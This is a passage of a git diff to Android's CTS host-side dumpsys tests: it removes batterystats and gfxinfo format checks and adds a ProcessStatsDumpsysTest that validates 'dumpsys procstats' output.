-        assertNotNull(parts[4]); // sync
-        assertInteger(parts[5]); // totalTime
-        assertInteger(parts[6]); // count
-    }
-
-    private void checkJob(String[] parts) {
-        assertEquals(7, parts.length);
-        assertNotNull(parts[4]); // job
-        assertInteger(parts[5]); // totalTime
-        assertInteger(parts[6]); // count
-    }
-
-    private void checkKernelWakelock(String[] parts) {
-        assertTrue(parts.length >= 7);
-	assertNotNull(parts[4]); // Kernel wakelock
-	assertInteger(parts[parts.length-2]); // totalTime
-        assertInteger(parts[parts.length-1]); // count
-    }
-
-    private void checkWakeupReason(String[] parts) {
-        assertTrue(parts.length >= 7);
-        for (int i = 4; i < parts.length-2; i++) {
-            assertNotNull(parts[i]); // part of wakeup
-        }
-        assertInteger(parts[parts.length-2]); // totalTime
-        assertInteger(parts[parts.length-1]); // count
-    }
-
-    private void checkNetwork(String[] parts) {
-        assertEquals(14, parts.length);
-        long mbRx = assertInteger(parts[4]);  // mobileBytesRx
-        long mbTx = assertInteger(parts[5]);  // mobileBytesTx
-        long wbRx = assertInteger(parts[6]);  // wifiBytesRx
-        long wbTx = assertInteger(parts[7]);  // wifiBytesTx
-        long mpRx = assertInteger(parts[8]);  // mobilePacketsRx
-        long mpTx = assertInteger(parts[9]);  // mobilePacketsTx
-        long wpRx = assertInteger(parts[10]); // wifiPacketsRx
-        long wpTx = assertInteger(parts[11]); // wifiPacketsTx
-        assertInteger(parts[12]); // mobileActiveTime (usec)
-        assertInteger(parts[13]); // mobileActiveCount
-
-        // Assuming each packet contains some bytes, bytes >= packets >= 0.
-        assertTrue("mobileBytesRx must be >= mobilePacketsRx", mbRx >= mpRx);
-        assertTrue("mobilePacketsRx must be >= 0", mpRx >= 0);
-        assertTrue("mobileBytesTx must be >= mobilePacketsTx", mbTx >= mpTx);
-        assertTrue("mobilePacketsTx must be >= 0", mpTx >= 0);
-        assertTrue("wifiBytesRx must be >= wifiPacketsRx", wbRx >= wpRx);
-        assertTrue("wifiPacketsRx must be >= 0", wpRx >= 0);
-        assertTrue("wifiBytesTx must be >= wifiPacketsTx", wbTx >= wpTx);
-        assertTrue("wifiPacketsTx must be >= 0", wpTx >= 0);
-    }
-
-    private void checkUserActivity(String[] parts) {
-        assertEquals(7, parts.length);
-        assertInteger(parts[4]); // other
-        assertInteger(parts[5]); // button
-        assertInteger(parts[6]); // touch
-    }
-
-    private void checkBattery(String[] parts) {
-        assertEquals(12, parts.length);
-        if (!parts[4].equals("N/A")) {
-            assertInteger(parts[4]);  // startCount
-        }
-        long bReal = assertInteger(parts[5]);  // batteryRealtime
-        long bUp = assertInteger(parts[6]);  // batteryUptime
-        long tReal = assertInteger(parts[7]);  // totalRealtime
-        long tUp = assertInteger(parts[8]);  // totalUptime
-        assertInteger(parts[9]);  // startClockTime
-        long bOffReal = assertInteger(parts[10]); // batteryScreenOffRealtime
-        long bOffUp = assertInteger(parts[11]); // batteryScreenOffUptime
-
-        // The device cannot be up more than there are real-world seconds.
-        assertTrue("batteryRealtime must be >= batteryUptime", bReal >= bUp);
-        assertTrue("totalRealtime must be >= totalUptime", tReal >= tUp);
-        assertTrue("batteryScreenOffRealtime must be >= batteryScreenOffUptime",
-                bOffReal >= bOffUp);
-
-        // total >= battery >= battery screen-off >= 0
-        assertTrue("totalRealtime must be >= batteryRealtime", tReal >= bReal);
-        assertTrue("batteryRealtime must be >= batteryScreenOffRealtime", bReal >= bOffReal);
-        assertTrue("batteryScreenOffRealtime must be >= 0", bOffReal >= 0);
-        assertTrue("totalUptime must be >= batteryUptime", tUp >= bUp);
-        assertTrue("batteryUptime must be >= batteryScreenOffUptime", bUp >= bOffUp);
-        assertTrue("batteryScreenOffUptime must be >= 0", bOffUp >= 0);
-    }
-
-    private void checkBatteryDischarge(String[] parts) {
-        assertEquals(8, parts.length);
-        assertInteger(parts[4]); // low
-        assertInteger(parts[5]); // high
-        assertInteger(parts[6]); // screenOn
-        assertInteger(parts[7]); // screenOff
-    }
-
-    private void checkBatteryLevel(String[] parts) {
-        assertEquals(6, parts.length);
-        assertInteger(parts[4]); // startLevel
-        assertInteger(parts[5]); // currentLevel
-    }
-
-    private void checkWifi(String[] parts) {
-        assertEquals(7, parts.length);
-        assertInteger(parts[4]); // fullWifiLockOnTime (usec)
-        assertInteger(parts[5]); // wifiScanTime (usec)
-        assertInteger(parts[6]); // uidWifiRunningTime (usec)
-    }
-
-    private void checkMisc(String[] parts) {
-        assertTrue(parts.length >= 19);
-        assertInteger(parts[4]);      // screenOnTime
-        assertInteger(parts[5]);      // phoneOnTime
-        assertInteger(parts[6]);      // fullWakeLockTimeTotal
-        assertInteger(parts[7]);      // partialWakeLockTimeTotal
-        assertInteger(parts[8]);      // mobileRadioActiveTime
-        assertInteger(parts[9]);      // mobileRadioActiveAdjustedTime
-        assertInteger(parts[10]);     // interactiveTime
-        assertInteger(parts[11]);     // lowPowerModeEnabledTime
-        assertInteger(parts[12]);     // connChanges
-        assertInteger(parts[13]);     // deviceIdleModeEnabledTime
-        assertInteger(parts[14]);     // deviceIdleModeEnabledCount
-        assertInteger(parts[15]);     // deviceIdlingTime
-        assertInteger(parts[16]);     // deviceIdlingCount
-        assertInteger(parts[17]);     // mobileRadioActiveCount
-        assertInteger(parts[18]);     // mobileRadioActiveUnknownTime
-    }
-
-    private void checkGlobalNetwork(String[] parts) {
-        assertEquals(12, parts.length);
-        assertInteger(parts[4]);  // mobileRxTotalBytes
-        assertInteger(parts[5]);  // mobileTxTotalBytes
-        assertInteger(parts[6]);  // wifiRxTotalBytes
-        assertInteger(parts[7]);  // wifiTxTotalBytes
-        assertInteger(parts[8]);  // mobileRxTotalPackets
-        assertInteger(parts[9]);  // mobileTxTotalPackets
-        assertInteger(parts[10]); // wifiRxTotalPackets
-        assertInteger(parts[11]); // wifiTxTotalPackets
-    }
-
-    private void checkScreenBrightness(String[] parts) {
-        assertEquals(9, parts.length);
-        assertInteger(parts[4]); // dark
-        assertInteger(parts[5]); // dim
-        assertInteger(parts[6]); // medium
-        assertInteger(parts[7]); // light
-        assertInteger(parts[8]); // bright
-    }
-
-    private void checkSignalStrength(String[] parts) {
-        assertTrue(parts.length >= 9);
-        assertInteger(parts[4]); // none
-        assertInteger(parts[5]); // poor
-        assertInteger(parts[6]); // moderate
-        assertInteger(parts[7]); // good
-        assertInteger(parts[8]); // great
-    }
-
-    private void checkSignalScanningTime(String[] parts) {
-        assertEquals(5, parts.length);
-        assertInteger(parts[4]); // signalScanningTime
-    }
-
-    private void checkDataConnection(String[] parts) {
-        assertEquals(21, parts.length);
-        assertInteger(parts[4]);  // none
-        assertInteger(parts[5]);  // gprs
-        assertInteger(parts[6]);  // edge
-        assertInteger(parts[7]);  // umts
-        assertInteger(parts[8]);  // cdma
-        assertInteger(parts[9]);  // evdo_0
-        assertInteger(parts[10]); // evdo_A
-        assertInteger(parts[11]); // 1xrtt
-        assertInteger(parts[12]); // hsdpa
-        assertInteger(parts[13]); // hsupa
-        assertInteger(parts[14]); // hspa
-        assertInteger(parts[15]); // iden
-        assertInteger(parts[16]); // evdo_b
-        assertInteger(parts[17]); // lte
-        assertInteger(parts[18]); // ehrpd
-        assertInteger(parts[19]); // hspap
-        assertInteger(parts[20]); // other
-    }
-
-    private void checkWifiState(String[] parts) {
-        assertEquals(12, parts.length);
-        assertInteger(parts[4]);  // off
-        assertInteger(parts[5]);  // scanning
-        assertInteger(parts[6]);  // no_net
-        assertInteger(parts[7]);  // disconn
-        assertInteger(parts[8]);  // sta
-        assertInteger(parts[9]);  // p2p
-        assertInteger(parts[10]); // sta_p2p
-        assertInteger(parts[11]); // soft_ap
-    }
-
-    private void checkWifiSupplState(String[] parts) {
-        assertEquals(17, parts.length);
-        assertInteger(parts[4]);  // inv
-        assertInteger(parts[5]);  // dsc
-        assertInteger(parts[6]);  // dis
-        assertInteger(parts[7]);  // inact
-        assertInteger(parts[8]);  // scan
-        assertInteger(parts[9]);  // auth
-        assertInteger(parts[10]); // ascing
-        assertInteger(parts[11]); // asced
-        assertInteger(parts[12]); // 4-way
-        assertInteger(parts[13]); // group
-        assertInteger(parts[14]); // compl
-        assertInteger(parts[15]); // dorm
-        assertInteger(parts[16]); // uninit
-    }
-
-    private void checkWifiSignalStrength(String[] parts) {
-        assertEquals(9, parts.length);
-        assertInteger(parts[4]); // none
-        assertInteger(parts[5]); // poor
-        assertInteger(parts[6]); // moderate
-        assertInteger(parts[7]); // good
-        assertInteger(parts[8]); // great
-    }
-
-    private void checkBluetoothState(String[] parts) {
-        assertEquals(8, parts.length);
-        assertInteger(parts[4]); // inactive
-        assertInteger(parts[5]); // low
-        assertInteger(parts[6]); // med
-        assertInteger(parts[7]); // high
-    }
-
-    private void checkPowerUseSummary(String[] parts) {
-        assertEquals(8, parts.length);
-        assertDouble(parts[4]); // batteryCapacity
-        assertDouble(parts[5]); // computedPower
-        assertDouble(parts[6]); // minDrainedPower
-        assertDouble(parts[7]); // maxDrainedPower
-    }
-
-    private void checkPowerUseItem(String[] parts) {
-        assertEquals(6, parts.length);
-        assertNotNull(parts[4]); // label
-        double mAH = assertDouble(parts[5]);  // mAh
-
-        assertTrue("powerUseItem mAH must be >= 0", mAH >= 0);
-        // Largest current Android battery is ~5K. 100K shouldn't get made for a while.
-        assertTrue("powerUseItem mAH is expected to be <= 100000", mAH <= 100000);
-    }
-
-    private void checkChargeDischargeStep(String[] parts) {
-        assertEquals(9, parts.length);
-        assertInteger(parts[4]); // duration
-        if (!parts[5].equals("?")) {
-            assertInteger(parts[5]); // level
-        }
-        assertNotNull(parts[6]); // screen
-        assertNotNull(parts[7]); // power-save
-        assertNotNull(parts[8]); // device-idle
-    }
-
-    private void checkDischargeTimeRemain(String[] parts) {
-        assertEquals(5, parts.length);
-        assertInteger(parts[4]); // batteryTimeRemaining
-    }
-
-    private void checkChargeTimeRemain(String[] parts) {
-        assertEquals(5, parts.length);
-        assertInteger(parts[4]); // chargeTimeRemaining
-    }
-
-    private void checkUidCpuUsage(String[] parts) {
-        assertTrue(parts.length >= 6);
-        assertInteger(parts[4]); // user time
-        assertInteger(parts[5]); // system time
-    }
-
-    /**
-     * Tests the output of "dumpsys gfxinfo framestats".
-     *
-     * @throws Exception
-     */
-    public void testGfxinfoFramestats() throws Exception {
-        final String MARKER = "---PROFILEDATA---";
-
-        try {
-            // cleanup test apps that might be installed from previous partial test run
-            getDevice().uninstallPackage(TEST_PKG);
-
-            // install the test app
-            File testAppFile = MigrationHelper.getTestFile(mCtsBuild, TEST_APK);
-            String installResult = getDevice().installPackage(testAppFile, false);
-            assertNull(
-                    String.format("failed to install atrace test app. Reason: %s", installResult),
-                    installResult);
-
-            getDevice().executeShellCommand("am start -W " + TEST_PKG);
-
-            String frameinfo = mDevice.executeShellCommand("dumpsys gfxinfo " +
-                    TEST_PKG + " framestats");
-            assertNotNull(frameinfo);
-            assertTrue(frameinfo.length() > 0);
-            int profileStart = frameinfo.indexOf(MARKER);
-            int profileEnd = frameinfo.indexOf(MARKER, profileStart + 1);
-            assertTrue(profileStart >= 0);
-            assertTrue(profileEnd > profileStart);
-            String profileData = frameinfo.substring(profileStart + MARKER.length(), profileEnd);
-            assertTrue(profileData.length() > 0);
-            validateProfileData(profileData);
-        } finally {
-            getDevice().uninstallPackage(TEST_PKG);
-        }
-    }
-
-    private void validateProfileData(String profileData) throws IOException {
-        final int TIMESTAMP_COUNT = 14;
-        boolean foundAtLeastOneRow = false;
-        try (BufferedReader reader = new BufferedReader(
-                new StringReader(profileData))) {
-            String line;
-            // First line needs to be the headers
-            while ((line = reader.readLine()) != null && line.isEmpty()) {}
-
-            assertNotNull(line);
-            assertTrue("First line was not the expected header",
-                    line.startsWith("Flags,IntendedVsync,Vsync,OldestInputEvent" +
-                            ",NewestInputEvent,HandleInputStart,AnimationStart" +
-                            ",PerformTraversalsStart,DrawStart,SyncQueued,SyncStart" +
-                            ",IssueDrawCommandsStart,SwapBuffers,FrameCompleted"));
-
-            long[] numparts = new long[TIMESTAMP_COUNT];
-            while ((line = reader.readLine()) != null && !line.isEmpty()) {
-
-                String[] parts = line.split(",");
-                assertTrue(parts.length >= TIMESTAMP_COUNT);
-                for (int i = 0; i < TIMESTAMP_COUNT; i++) {
-                    numparts[i] = assertInteger(parts[i]);
-                }
-                if (numparts[0] != 0) {
-                    continue;
-                }
-                // assert VSYNC >= INTENDED_VSYNC
-                assertTrue(numparts[2] >= numparts[1]);
-                // assert time is flowing forwards, skipping index 3 & 4
-                // as those are input timestamps that may or may not be present
-                assertTrue(numparts[5] >= numparts[2]);
-                for (int i = 6; i < TIMESTAMP_COUNT; i++) {
-                    assertTrue("Index " + i + " did not flow forward, " +
-                            numparts[i] + " not larger than " + numparts[i - 1],
-                            numparts[i] >= numparts[i-1]);
-                }
-                long totalDuration = numparts[13] - numparts[1];
-                assertTrue("Frame did not take a positive amount of time to process",
-                        totalDuration > 0);
-                assertTrue("Bogus frame duration, exceeds 100 seconds",
-                        totalDuration < 100000000000L);
-                foundAtLeastOneRow = true;
-            }
-        }
-        assertTrue(foundAtLeastOneRow);
-    }
-
-    private IBuildInfo mCtsBuild;
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
-    private static long assertInteger(String input) {
-        try {
-            return Long.parseLong(input);
-        } catch (NumberFormatException e) {
-            fail("Expected an integer but found \"" + input + "\"");
-            // Won't be hit, above throws AssertException
-            return -1;
-        }
-    }
-
-    private static double assertDouble(String input) {
-        try {
-            return Double.parseDouble(input);
-        } catch (NumberFormatException e) {
-            fail("Expected a double but found \"" + input + "\"");
-            return -1;
-        }
-    }
-
-    private static void assertSeenTag(Set<String> seenTags, String tag) {
-        assertTrue("No line starting with \"" + tag + ",\"", seenTags.contains(tag));
-    }
-}
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/ProcessStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/ProcessStatsDumpsysTest.java
new file mode 100644
index 0000000..4dfc1a3
--- /dev/null
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/ProcessStatsDumpsysTest.java
@@ -0,0 +1,486 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.dumpsys.cts;
+
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.io.BufferedReader;
+import java.io.StringReader;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Test to check the format of the dumps of the processstats test.
+ */
+public class ProcessStatsDumpsysTest extends BaseDumpsysTest {
+    private static final String DEVICE_SIDE_TEST_APK = "CtsProcStatsApp.apk";
+    private static final String DEVICE_SIDE_TEST_PACKAGE = "com.android.server.cts.procstats";
+
+    private static final String DEVICE_SIDE_HELPER_APK = "CtsProcStatsHelperApp.apk";
+    private static final String DEVICE_SIDE_HELPER_PACKAGE = "com.android.server.cts.procstatshelper";
+
+    /**
+     * Maximum allowance scale factor when checking a duration time.
+     *
+     * If [actual value] > [expected value] * {@link #DURATION_TIME_MAX_FACTOR},
+     * then the test fails.
+     *
+     * Because the run duration time may include the process startup time, we need a rather big
+     * allowance.
+     */
+    private static final double DURATION_TIME_MAX_FACTOR = 2;
+
+    /**
+     * Tests the output of "dumpsys procstats -c". This is a proxy for testing "dumpsys procstats
+     * --checkin", since the latter is not idempotent.
+     */
+    public void testProcstatsOutput() throws Exception {
+        // First, run the helper app so that we have some interesting records in the output.
+        checkWithProcStatsApp();
+
+        String procstats = mDevice.executeShellCommand("dumpsys procstats -c");
+        assertNotNull(procstats);
+        assertTrue(procstats.length() > 0);
+
+        final int sep24h = procstats.indexOf("AGGREGATED OVER LAST 24 HOURS:");
+        final int sep3h = procstats.indexOf("AGGREGATED OVER LAST 3 HOURS:");
+
+        assertTrue("24 hour stats not found.", sep24h > 1);
+        assertTrue("3 hour stats not found.", sep3h > 1);
+
+        // Current
+        checkProcStateOutput(procstats.substring(0, sep24h), /*checkAvg=*/ true);
+
+        // Last 24 hours
+        checkProcStateOutput(procstats.substring(sep24h, sep3h), /*checkAvg=*/ false);
+
+        // Last 3 hours
+        checkProcStateOutput(procstats.substring(sep3h), /*checkAvg=*/ false);
+    }
+
+    private static String[] commaSplit(String line) {
+        if (line.endsWith(",")) {
+            line = line + " ";
+        }
+        final String[] values = line.split(",");
+        if (" ".equals(values[values.length - 1])) {
+            values[values.length - 1] = "";
+        }
+        return values;
+    }
+
+    private void checkProcStateOutput(String text, boolean checkAvg) throws Exception {
+        final Set<String> seenTags = new HashSet<>();
+
+        try (BufferedReader reader = new BufferedReader(
+                new StringReader(text))) {
+
+            String line;
+            while ((line = reader.readLine()) != null) {
+                if (line.isEmpty()) {
+                    continue;
+                }
+                CLog.d("Checking line: " + line);
+
+                String[] parts = commaSplit(line);
+                seenTags.add(parts[0]);
+
+                switch (parts[0]) {
+                    case "vers":
+                        assertEquals(2, parts.length);
+                        assertEquals(5, Integer.parseInt(parts[1]));
+                        break;
+                    case "period":
+                        checkPeriod(parts);
+                        break;
+                    case "pkgproc":
+                        checkPkgProc(parts);
+                        break;
+                    case "pkgpss":
+                        checkPkgPss(parts, checkAvg);
+                        break;
+                    case "pkgsvc-bound":
+                    case "pkgsvc-exec":
+                    case "pkgsvc-run":
+                    case "pkgsvc-start":
+                        checkPkgSvc(parts);
+                        break;
+                    case "pkgkills":
+                        checkPkgKills(parts, checkAvg);
+                        break;
+                    case "proc":
+                        checkProc(parts);
+                        break;
+                    case "pss":
+                        checkPss(parts, checkAvg);
+                        break;
+                    case "kills":
+                        checkKills(parts, checkAvg);
+                        break;
+                    case "total":
+                        checkTotal(parts);
+                        break;
+                    default:
+                        break;
+                }
+            }
+        }
+
+        assertSeenTag(seenTags, "vers");
+        assertSeenTag(seenTags, "period");
+        assertSeenTag(seenTags, "pkgproc");
+        assertSeenTag(seenTags, "proc");
+        assertSeenTag(seenTags, "pss");
+        assertSeenTag(seenTags, "total");
+        assertSeenTag(seenTags, "weights");
+        assertSeenTag(seenTags, "availablepages");
+    }
+
+    private void checkPeriod(String[] parts) {
+        assertTrue("Length should be >= 5, found: " + parts.length,
+                parts.length >= 5);
+        assertNotNull(parts[1]); // date
+        assertLesserOrEqual(parts[2], parts[3]); // start time and end time (msec)
+        for (int i = 4; i < parts.length; i++) {
+            switch (parts[i]) {
+                case "shutdown":
+                case "sysprops":
+                case "complete":
+                case "partial":
+                case "swapped-out-pss":
+                    continue;
+            }
+            fail("Invalid value '" + parts[i] + "' found.");
+        }
+    }
+
+    private void checkPkgProc(String[] parts) {
+        int statesStartIndex;
+
+        assertTrue(parts.length >= 5);
+        assertNotNull(parts[1]); // package name
+        assertNonNegativeInteger(parts[2]); // uid
+        assertNonNegativeInteger(parts[3]); // app version
+        assertNotNull(parts[4]); // process
+        statesStartIndex = 5;
+
+        for (int i = statesStartIndex; i < parts.length; i++) {
+            String[] subparts = parts[i].split(":");
+            assertEquals(2, subparts.length);
+            checkTag(subparts[0], true); // tag
+            assertNonNegativeInteger(subparts[1]); // duration (msec)
+        }
+    }
+
+    private void checkTag(String tag, boolean hasProcess) {
+        assertEquals(hasProcess ? 3 : 2, tag.length());
+
+        // screen: 0 = off, 1 = on
+        char s = tag.charAt(0);
+        if (s != '0' && s != '1') {
+            fail("malformed tag: " + tag);
+        }
+
+        // memory: n = normal, m = moderate, l = low, c = critical
+        char m = tag.charAt(1);
+        if (m != 'n' && m != 'm' && m != 'l' && m != 'c') {
+            fail("malformed tag: " + tag);
+        }
+
+        if (hasProcess) {
+            char p = tag.charAt(2);
+            assertTrue("malformed tag: " + tag, "ptfbuwsxrhlace".indexOf(p) >= 0);
+        }
+    }
+
+    private void checkPkgPss(String[] parts, boolean checkAvg) {
+        int statesStartIndex;
+
+        assertTrue(parts.length >= 5);
+        assertNotNull(parts[1]); // package name
+        assertNonNegativeInteger(parts[2]); // uid
+        assertNonNegativeInteger(parts[3]); // app version
+        assertNotNull(parts[4]); // process
+        statesStartIndex = 5;
+
+        for (int i = statesStartIndex; i < parts.length; i++) {
+            String[] subparts = parts[i].split(":");
+            assertEquals(8, subparts.length);
+            checkTag(subparts[0], true); // tag
+            assertNonNegativeInteger(subparts[1]); // sample size
+            assertMinAvgMax(subparts[2], subparts[3], subparts[4], checkAvg); // pss
+            assertMinAvgMax(subparts[5], subparts[6], subparts[7], checkAvg); // uss
+        }
+    }
+
+    private void checkPkgSvc(String[] parts) {
+        int statesStartIndex;
+
+        assertTrue(parts.length >= 6);
+        assertNotNull(parts[1]); // package name
+        assertNonNegativeInteger(parts[2]); // uid
+        assertNonNegativeInteger(parts[3]); // app version
+        assertNotNull(parts[4]); // service name
+        assertNonNegativeInteger(parts[5]); // count
+        statesStartIndex = 6;
+
+        for (int i = statesStartIndex; i < parts.length; i++) {
+            String[] subparts = parts[i].split(":");
+            assertEquals(2, subparts.length);
+            checkTag(subparts[0], false); // tag
+            assertNonNegativeInteger(subparts[1]); // duration (msec)
+        }
+    }
+
+    private void checkPkgKills(String[] parts, boolean checkAvg) {
+        String pssStr;
+
+        assertEquals(9, parts.length);
+        assertNotNull(parts[1]); // package name
+        assertNonNegativeInteger(parts[2]); // uid
+        assertNonNegativeInteger(parts[3]); // app version
+        assertNotNull(parts[4]); // process
+        assertNonNegativeInteger(parts[5]); // wakes
+        assertNonNegativeInteger(parts[6]); // cpu
+        assertNonNegativeInteger(parts[7]); // cached
+        pssStr = parts[8];
+
+        String[] subparts = pssStr.split(":");
+        assertEquals(3, subparts.length);
+        assertMinAvgMax(subparts[0], subparts[1], subparts[2], checkAvg); // pss
+    }
+
+    private void checkProc(String[] parts) {
+        assertTrue(parts.length >= 3);
+        assertNotNull(parts[1]); // package name
+        assertNonNegativeInteger(parts[2]); // uid
+
+        for (int i = 3; i < parts.length; i++) {
+            String[] subparts = parts[i].split(":");
+            assertEquals(2, subparts.length);
+            checkTag(subparts[0], true); // tag
+            assertNonNegativeInteger(subparts[1]); // duration (msec)
+        }
+    }
+
+    private void checkPss(String[] parts, boolean checkAvg) {
+        assertTrue(parts.length >= 3);
+        assertNotNull(parts[1]); // package name
+        assertNonNegativeInteger(parts[2]); // uid
+
+        for (int i = 3; i < parts.length; i++) {
+            String[] subparts = parts[i].split(":");
+            assertEquals(8, subparts.length);
+            checkTag(subparts[0], true); // tag
+            assertNonNegativeInteger(subparts[1]); // sample size
+            assertMinAvgMax(subparts[2], subparts[3], subparts[4], checkAvg); // pss
+            assertMinAvgMax(subparts[5], subparts[6], subparts[7], checkAvg); // uss
+        }
+    }
+
+    private void checkKills(String[] parts, boolean checkAvg) {
+        assertEquals(7, parts.length);
+        assertNotNull(parts[1]); // package name
+        assertNonNegativeInteger(parts[2]); // uid
+        assertNonNegativeInteger(parts[3]); // wakes
+        assertNonNegativeInteger(parts[4]); // cpu
+        assertNonNegativeInteger(parts[5]); // cached
+        String pssStr = parts[6];
+
+        String[] subparts = pssStr.split(":");
+        assertEquals(3, subparts.length);
+        assertMinAvgMax(subparts[0], subparts[1], subparts[2], checkAvg); // pss
+    }
+
+    private void checkTotal(String[] parts) {
+        assertTrue(parts.length >= 2);
+        for (int i = 1; i < parts.length; i++) {
+            String[] subparts = parts[i].split(":");
+            checkTag(subparts[0], false); // tag
+
+            assertNonNegativeInteger(subparts[1]); // duration (msec)
+        }
+    }
+
+    /**
+     * Find the first line with the prefix, and return the rest of the line.
+     */
+    private static String findLine(String prefix, String[] lines) {
+        for (String line : lines) {
+            if (line.startsWith(prefix)) {
+                CLog.d("Found line: " + line);
+                return line.substring(prefix.length());
+            }
+        }
+        fail("Line with prefix '" + prefix + "' not found.");
+        return null;
+    }
+
+    private static long getTagValueSum(String[] parts, String tagRegex) {
+        final Pattern tagPattern = Pattern.compile("^" + tagRegex + "\\:");
+
+        boolean found = false;
+        long sum = 0;
+        for (int i = 0; i < parts.length; i++){
+            final String part = parts[i];
+            final Matcher m = tagPattern.matcher(part);
+            if (!m.find()) {
+                continue;
+            }
+            // Extract the rest of the part and parse as a long.
+            sum += assertInteger(parts[i].substring(m.end(0)));
+            found = true;
+        }
+        assertTrue("Tag '" + tagRegex + "' not found.", found);
+        return sum;
+    }
+
+    private static void assertTagValueLessThan(String[] parts, String tagRegex,
+            long expectedMax) {
+        final long sum = getTagValueSum(parts, tagRegex);
+
+        assertTrue("Total values for '" + tagRegex
+                + "' expected to be <= (" + expectedMax + ") but was: "
+                + sum, sum <= expectedMax);
+    }
+
+    private static void assertTagValueSumAbout(String[] parts, String tagRegex,
+            long expectedValue) {
+        final long sum = getTagValueSum(parts, tagRegex);
+
+        assertTrue("Total values for '" + tagRegex
+                + "' expected to be >= " + expectedValue + " but was: "
+                + sum, sum >= expectedValue);
+        assertTrue("Total values for '" + tagRegex
+                + "' expected to be <= (" + expectedValue + ") * "
+                + DURATION_TIME_MAX_FACTOR + " but was: "
+                + sum, sum <= (expectedValue * DURATION_TIME_MAX_FACTOR));
+    }
+
+    private void checkWithProcStatsApp() throws Exception {
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        getDevice().uninstallPackage(DEVICE_SIDE_HELPER_PACKAGE);
+
+        final long startNs = System.nanoTime();
+
+        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+        installPackage(DEVICE_SIDE_HELPER_APK, /* grantPermissions= */ true);
+
+        final int helperAppUid = Integer.parseInt(execCommandAndGetFirstGroup(
+                "dumpsys package " + DEVICE_SIDE_HELPER_PACKAGE, "userId=(\\d+)"));
+        final String uid = String.valueOf(helperAppUid);
+
+        CLog.i("Start: Helper app UID: " + helperAppUid);
+
+        try {
+            // Run the device side test which makes some network requests.
+            runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
+                    "com.android.server.cts.procstats.ProcStatsTest", "testLaunchApp");
+        } finally {
+            getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+            getDevice().uninstallPackage(DEVICE_SIDE_HELPER_PACKAGE);
+        }
+        final long finishNs = System.nanoTime();
+        CLog.i("Finish: Took " + ((finishNs - startNs) / 1000000) + " ms");
+
+        // The total running duration should be less than this, since we've uninstalled the app.
+        final long maxRunTime = (finishNs - startNs) / 1000000;
+
+        // Get the current procstats.
+        final String procstats = mDevice.executeShellCommand("dumpsys procstats -c --current");
+        assertNotNull(procstats);
+        assertTrue(procstats.length() > 0);
+
+        final String[] lines = procstats.split("\n");
+
+        // Start checking.
+        String parts[] = commaSplit(findLine(
+                "pkgproc,com.android.server.cts.procstatshelper,$U,32123,,".replace("$U", uid),
+                lines));
+        assertTagValueSumAbout(parts, "0.t", 2000); // Screen off, foreground activity.
+        assertTagValueSumAbout(parts, "1.t", 2000); // Screen on, foreground activity.
+        assertTagValueSumAbout(parts, "1.f", 1000); // Screen on, foreground service.
+        assertTagValueSumAbout(parts, "1.s", 500); // Screen on, background service.
+        assertTagValueLessThan(parts, "...", maxRunTime); // total time.
+
+//      We can't really assert there's always "pss".  If there is, then we do check the format in
+//      checkProcStateOutput().
+//        parts = commaSplit(findLine(
+//                "pkgpss,com.android.server.cts.procstatshelper,$U,32123,,".replace("$U", uid),
+//                lines));
+
+        parts = commaSplit(findLine(
+                ("pkgproc,com.android.server.cts.procstatshelper,$U,32123,"
+                + "com.android.server.cts.procstatshelper:proc2,").replace("$U", uid),
+                lines));
+
+        assertTagValueSumAbout(parts, "0.f", 1000); // Screen off, foreground service.
+        assertTagValueSumAbout(parts, "0.s", 500); // Screen off, background service.
+
+        assertTagValueLessThan(parts, "...", maxRunTime); // total time.
+
+//      We can't really assert there's always "pss".  If there is, then we do check the format in
+//      checkProcStateOutput().
+//        parts = commaSplit(findLine(
+//                ("pkgpss,com.android.server.cts.procstatshelper,$U,32123,"
+//                + "com.android.server.cts.procstatshelper:proc2,").replace("$U", uid),
+//                lines));
+
+        parts = commaSplit(findLine(
+                ("pkgsvc-run,com.android.server.cts.procstatshelper,$U,32123,"
+                + ".ProcStatsHelperServiceMain,").replace("$U", uid),
+                lines));
+
+        assertTagValueSumAbout(parts, "1.", 1500); // Screen on, running.
+
+        parts = commaSplit(findLine(
+                ("pkgsvc-start,com.android.server.cts.procstatshelper,$U,32123,"
+                + ".ProcStatsHelperServiceMain,").replace("$U", uid),
+                lines));
+
+        assertTagValueSumAbout(parts, "1.", 1500); // Screen on, running.
+
+//      Dose it always exist?
+//        parts = commaSplit(findLine(
+//                ("pkgsvc-exec,com.android.server.cts.procstatshelper,$U,32123,"
+//                + ".ProcStatsHelperServiceMain,").replace("$U", uid),
+//                lines));
+
+        parts = commaSplit(findLine(
+                ("pkgsvc-run,com.android.server.cts.procstatshelper,$U,32123,"
+                + ".ProcStatsHelperServiceSub,").replace("$U", uid),
+                lines));
+
+        assertTagValueSumAbout(parts, "0.", 1500); // Screen off, running.
+
+        parts = commaSplit(findLine(
+                ("pkgsvc-start,com.android.server.cts.procstatshelper,$U,32123,"
+                + ".ProcStatsHelperServiceSub,").replace("$U", uid),
+                lines));
+
+        assertTagValueSumAbout(parts, "0.", 1500); // Screen off, running.
+
+//      Dose it always exist?
+//        parts = commaSplit(findLine(
+//                ("pkgsvc-exec,com.android.server.cts.procstatshelper,$U,32123,"
